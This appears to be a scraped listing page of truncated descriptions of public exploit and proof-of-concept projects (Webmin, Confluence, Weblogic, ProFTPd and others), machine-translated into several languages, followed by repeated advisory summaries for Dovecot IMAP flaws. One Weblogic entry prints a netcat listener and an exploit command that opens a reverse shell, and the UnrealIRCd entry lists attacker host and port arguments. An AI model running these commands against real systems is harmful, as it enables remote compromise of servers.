Webmin_1.890-POC

Webmin 1.890 Root Remoto Scaduto CVE-2019-15107 Webmin versione 1.890 è stata rilasciata con una backdoor che poteva permettere a chiunque ne fosse a conoscenza di eseguire comandi come root. Le versioni da 1.900 a 1.920 contenevano anch'esse una backdoor con codice simile, ma non era sfruttabile...

SubrionCMS-4.2.1-File-upload-RCE-auth-

SubrionCMS-4.2.1-File-upload-RCE-auth- Dies ist eine bearbeitete Version des Exploits für CVE-2018-19422, um ein kleines, aber lästiges Problem zu beheben, das ich hatte. Ich musste diesen Exploit in einem CTF verwenden, konnte ihn aber nicht richtig ausführen – er scheiterte stets beim Login. Na...

CVE-2022-22947

Spring Cloud Gateway Actuator API SpEL अभिव्यक्ति इंजेक्शन कमांड निष्पादन CVE-2022-22947 Spring Cloud Gateway Actuator API SpEL Code Injection CVE-2022-22947 उपयोग विधि: root@kitploit: -t http://vuldomain.com //एकल IP -f urls.txt //फ़ाइल पढ़कर बैच स्कैन, मल्टी-थ्रेडिंग, तेज़ गति -c command //कस्ट...

PSForgot2kEyXCHANGE

PSForgot2kEyXCHANGE PoC per Forgot2kEyXCHANGE CVE-2020-0688 scritto in PowerShell Utilizzo Questo PoC richiede un nome utente e una password validi. Questo PoC utilizza ysoserial.net per creare il nuovo ViewState che contiene il comando specificato nel parametro -Command. Se non lo hai già...

CVE-2021-41773

CVE-2021-41773 Progetto PoC & Exp in linguaggio Go. Dichiarazione: questo progetto proviene dalle note di apprendimento quotidiano dell'autore. Non utilizzare le relative tecnologie e strumenti per test illegali. L'autore non è responsabile per eventuali conseguenze negative derivanti da tale uso...

fuzzdb

FuzzDB è stato creato per aumentare la probabilità di trovare vulnerabilità di sicurezza nelle applicazioni tramite test dinamici di sicurezza delle applicazioni. È il primo e più completo dizionario aperto di pattern di fault injection, posizioni prevedibili delle risorse e regex per il matching...

CVE-2021-26084

CVE-2021-26084 Esecuzione Remota di Codice in Confluence RCE Code By:Junsheng @ Orange Network Security Lab Orange Network Security Lab https://0range.team/ 0x00 Panoramica dei Rischi Questo strumento è destinato esclusivamente a test di sicurezza autorizzati; sono vietati gli attacchi non...

CVE-2017-7921-EXP

CVE-2017-7921 Exploit In Hikvision-Geräten wurde ein Problem mit unsachgemäßer Authentifizierung entdeckt. ​ Die Schwachstelle der unsachgemäßen Authentifizierung tritt auf, wenn eine Anwendung Benutzer nicht ausreichend oder korrekt authentifiziert. ​ Dies kann einem böswilligen Benutzer...

tiktok-scraper

TikTok Scraper & Downloader Scrapen und laden Sie nützliche Informationen von TikTok herunter. Es ist kein Login oder Passwort erforderlich. Dies ist keine offizielle API-Unterstützung usw. Dies ist lediglich ein Scraper, der die TikTok-Web-API zum Scrapen von Medien verwendet. Features Scrapen v...

UnrealIRCd-3.2.8.1-Backdoor-Command-Execution

UnrealIRCd-3.2.8.1-Backdoor-Command-Execution Script che sfrutta la vulnerabilità che permette di stabilire un backdoor nel servizio UnrealIRCd con CVE-2010-2075 Utilizzo usage: IRCBackDoorCommandExecution.py -h targethost targetport attackerhost attackerport...

ProFTPd-1.3.5-mod_copy-Remote-Command-Execution

ProFTPd-1.3.5-modcopy-Remote-Command-Execution Script que explora a vulnerabilidade do serviço ProFTP 1.3.5 com CVE-2015-3306 Uso .ProFTPD1.3.5RemoteCommandExecution.py -h --rhost RHOST --rportftp RPORTFTP --targeturi TARGETURI --tmppath TMPPATH --sitepath SITEPATH --payload PAYLOAD...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 EXP für Python in einem Schritt vollständig Verwendung: Python3 exploit.py -t -c Tipps: Kein Echo Beispiel： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' dann erhältst du eine Shell...

EUVD-2026-67674

An unauthenticated attacker can send an IMAP ID command with a very large number of parameters before logging in, which causes memory and CPU usage to grow disproportionately. The login process can be terminated by the out-of-memory handling, which also terminates all other connections handled by...

EUVD-2026-67675

An attacker that has valid credentials can send an invalid IMAP URLFETCH command, which causes uninitialized memory to be included in the error response returned to the client. Process memory contents can be disclosed to the client, which may include sensitive data. Disable the IMAP URLAUTH...

CVE-2026-42392

An attacker that has valid credentials can send an invalid IMAP URLFETCH command, which causes uninitialized memory to be included in the error response returned to the client. Process memory contents can be disclosed to the client, which may include sensitive data. Disable the IMAP URLAUTH...

CVE-2026-42391

An unauthenticated attacker can send an IMAP ID command with a very large number of parameters before logging in, which causes memory and CPU usage to grow disproportionately. The login process can be terminated by the out-of-memory handling, which also terminates all other connections handled by...

CVE-2026-42391

Open-Xchange Dovecot is vulnerable to a denial-of-service attack in its imap-login process. An unauthenticated attacker can send an IMAP ID command with a very large number of parameters before authentication, causing disproportionate memory and CPU consumption . The resulting out-of-memory termi...

CVE-2026-42391

An unauthenticated attacker can send an IMAP ID command with a very la...

CVE-2026-42391

An unauthenticated attacker can send an IMAP ID command with a very large number of parameters before logging in, which causes memory and CPU usage to grow disproportionately. The login process can be terminated by the out-of-memory handling, which also terminates all other connections handled by...

CVE-2026-42391

An unauthenticated attacker can send an IMAP ID command with a very large number of parameters before logging in, which causes memory and CPU usage to grow disproportionately. The login process can be terminated by the out-of-memory handling, which also terminates all other connections handled by...